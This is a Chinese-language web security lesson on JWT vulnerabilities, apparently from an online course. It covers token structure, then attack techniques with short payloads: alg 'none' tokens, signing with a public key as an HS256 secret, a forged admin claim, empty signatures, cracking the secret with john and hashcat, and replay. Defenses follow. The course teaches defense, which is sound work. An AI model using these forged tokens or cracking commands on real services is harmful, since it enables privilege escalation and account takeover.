JWT漏洞

Web安全学习路径 | 模块3 | 课程8

1. 引言

JWT(JSON Web Token)是一种用于身份验证和信息传递的开放标准。虽然JWT本身是安全的,但在实现和使用过程中可能存在各种漏洞。本课程将深入探讨JWT相关的安全问题和攻击技术。

学习目标: 理解JWT的工作原理和常见漏洞,掌握JWT攻击技术的利用方法,学习有效的防御措施。

2. 基本概念

2.1 JWT结构

JWT由三部分组成,用点号分隔:

// JWT结构 header.payload.signature // 示例 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

2.2 JWT组成部分

JWT的三个部分分别包含:

  • Header:包含元数据,如算法和令牌类型
  • Payload:包含实际数据,如用户信息和权限
  • Signature:用于验证令牌完整性的签名

3. 攻击技术

3.1 算法降级攻击

利用JWT支持的多种签名算法进行攻击:

// 原始JWT { "alg": "RS256", "typ": "JWT" } // 攻击JWT { "alg": "none", "typ": "JWT" } // 使用弱算法 { "alg": "HS256", "typ": "JWT" }

3.2 密钥混淆攻击

利用公钥和私钥的混淆进行攻击:

// 使用公钥作为HS256密钥 const jwt = require('jsonwebtoken'); const publicKey = fs.readFileSync('public.pem'); // 攻击者使用公钥作为HS256密钥 const token = jwt.sign({ data: 'evil' }, publicKey, { algorithm: 'HS256' });

3.3 签名验证绕过

利用签名验证的漏洞:

// 修改payload后不更新签名 { "sub": "1234567890", "name": "John Doe", "iat": 1516239022, "admin": true // 添加管理员权限 } // 使用空签名 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.

4. 高级技术

4.1 密钥破解

使用暴力破解或字典攻击获取密钥:

// 使用john破解 john jwt.txt --format=HMAC-SHA256 --wordlist=wordlist.txt // 使用hashcat破解 hashcat -m 16500 jwt.txt wordlist.txt // 使用jwt-cracker jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

4.2 时间攻击

利用时间比较的漏洞:

// 不安全的比较 if (signature === expectedSignature) { // 验证通过 } // 安全的比较 if (crypto.timingSafeEqual(signature, expectedSignature)) { // 验证通过 }

4.3 令牌重放

利用令牌重放攻击:

// 使用过期的令牌 { "sub": "1234567890", "exp": 1516239022, // 过期时间 "iat": 1516235422 } // 使用已撤销的令牌 { "sub": "1234567890", "jti": "revoked_token_id" }

5. 防御措施

5.1 算法选择

使用安全的签名算法:

// 使用RS256而不是HS256 const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' }); // 禁用不安全的算法 const options = { algorithms: ['RS256'], ignoreExpiration: false }; jwt.verify(token, publicKey, options);

5.2 密钥管理

实施安全的密钥管理:

// 使用环境变量存储密钥 const secret = process.env.JWT_SECRET; // 定期轮换密钥 const getCurrentKey = () => { const now = Date.now(); return keys.find(key => now >= key.start && now <= key.end); }; // 使用密钥ID { "kid": "key-2023", "alg": "RS256" }

5.3 令牌验证

实施严格的令牌验证:

// 验证所有必要的字段 const verifyToken = (token) => { const decoded = jwt.verify(token, publicKey); if (!decoded.sub || !decoded.exp || !decoded.iat) { throw new Error('Invalid token'); } return decoded; }; // 使用令牌黑名单 const isTokenBlacklisted = async (token) => { const decoded = jwt.decode(token); return await redis.get(`blacklist:${decoded.jti}`); };

6. 实践练习

JWT漏洞实战演练

在我们的靶场环境中,你可以安全地练习JWT漏洞的发现和利用。点击下面的按钮开始练习:

开始练习